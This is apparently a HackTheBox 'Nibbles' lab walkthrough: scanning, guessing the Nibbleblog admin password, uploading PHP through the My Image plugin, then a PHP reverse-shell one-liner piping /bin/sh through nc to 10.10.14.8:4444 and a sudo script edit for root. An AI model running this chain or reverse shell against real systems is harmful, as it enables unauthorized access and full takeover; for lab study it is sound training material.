Hackthebox - Nibbles
Linux
Nmap
sudo nmap -T4 -sC -sV -O -Pn -p- 10.10.10.75
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-10 17:33 EST
Nmap scan report for 10.10.10.75
Host is up (0.055s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=2/10%OT=22%CT=1%CU=30372%PV=Y%DS=2%DC=I%G=Y%TM=63E6C67
OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=107%TI=Z%CI=I%II=I%TS=8)OPS
OS:(O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST1
OS:1NW7%O6=M539ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.58 seconds
Port 80
If we browse there we have an hello world.
If we check the source code, we have an interesting comment
This brings us here
Let's see what info we have with whatweb
Enumerate dir in nibbleblog
┌─[gabrielle@parrot]─[~/Documents/nibbles]
└──╼ $gobuster dir -u http://10.10.10.75/nibbleblog/ --wordlist /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.75/nibbleblog/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/02/11 08:07:07 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 301]
/.htpasswd (Status: 403) [Size: 306]
/admin (Status: 301) [Size: 321] [--> http://10.10.10.75/nibbleblog/admin/]
/admin.php (Status: 200) [Size: 1401]
/.htaccess (Status: 403) [Size: 306]
/content (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/content/]
/index.php (Status: 200) [Size: 2987]
/languages (Status: 301) [Size: 325] [--> http://10.10.10.75/nibbleblog/languages/]
/plugins (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/plugins/]
/README (Status: 200) [Size: 4628]
/themes (Status: 301) [Size: 322] [--> http://10.10.10.75/nibbleblog/themes/]
===============================================================
2023/02/11 08:07:22 Finished
===============================================================Admin
Readme
Content
Plugins
Thèmes
Admin.php
We also find multiple xml files. The users.xml and config.xml seem interesting
Users
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">0</session_fail_count>
<session_date type="integer">1514544131</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
</users>Config
<config>
<name type="string">Nibbles</name>
<slogan type="string">Yum yum</slogan>
<footer type="string">Powered by Nibbleblog</footer>
<advanced_post_options type="integer">0</advanced_post_options>
<url type="string">http://10.10.10.134/nibbleblog/</url>
<path type="string">/nibbleblog/</path>
<items_rss type="integer">4</items_rss>
<items_page type="integer">6</items_page>
<language type="string">en_US</language>
<timezone type="string">UTC</timezone>
<timestamp_format type="string">%d %B, %Y</timestamp_format>
<locale type="string">en_US</locale>
<img_resize type="integer">1</img_resize>
<img_resize_width type="integer">1000</img_resize_width>
<img_resize_height type="integer">600</img_resize_height>
<img_resize_quality type="integer">100</img_resize_quality>
<img_resize_option type="string">auto</img_resize_option>
<img_thumbnail type="integer">1</img_thumbnail>
<img_thumbnail_width type="integer">190</img_thumbnail_width>
<img_thumbnail_height type="integer">190</img_thumbnail_height>
<img_thumbnail_quality type="integer">100</img_thumbnail_quality>
<img_thumbnail_option type="string">landscape</img_thumbnail_option>
<theme type="string">simpler</theme>
<notification_comments type="integer">1</notification_comments>
<notification_session_fail type="integer">0</notification_session_fail>
<notification_session_start type="integer">0</notification_session_start>
<notification_email_to type="string">admin@nibbles.com</notification_email_to>
<notification_email_from type="string">noreply@10.10.10.134</notification_email_from>
<seo_site_title type="string">Nibbles - Yum yum</seo_site_title>
<seo_site_description type="string"/>
<seo_keywords type="string"/>
<seo_robots type="string"/>
<seo_google_code type="string"/>
<seo_bing_code type="string"/>
<seo_author type="string"/>
<friendly_urls type="integer">0</friendly_urls>
<default_homepage type="integer">0</default_homepage>
</config>This confirm that a user named admin exist.
We can not bruteforce because of the IP blacklist that is set as a protection.
The word nibbles frequently comes back. Let's try it as a password for admin. It works.
While looking for info on nibbleblog we found a CVE:
CVE-2015-6967It is also worth having a look around
This way we find a plugin "My image" that allows us to upload files
Let's try to upload a php file and see if it gets executed. Here is our php file
The file seems to be uploaded when we explored the files previously there was a content directory, so our file is probably there somewhere let's have a look. Yes there is a new image.php file here
And our command (ls) works, we have command execution!
We could do a webshell. But let's try for a reverse shell.
Let's edit our previous file
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 4444) >/tmp/f'); ?>
We now need to set a listener
rlwrap nc -lnvp 4444We get a shell
We can make it a little better with
python3 -c 'import pty; pty.spawn("/bin/bash")'and grab the user flag.
Along with the flag we have zip
personal.zipthat seems interesting for later.
Privilege escalation
Let's have a look at the zip file. There is stuff folder with a bash script inside
Using
sudo -lwe see that we are able to run it as root
Let's add this in our script this will launch bash as root and should allow us to get root
/bin/bashecho '/bin/bash' | tee -a /home/nibbler/personal/stuff/monitor.sh.Indeed if we
sudo /home/nibbler/personal/stuff/monitor.shwe get root and can grab the last flag
Last updated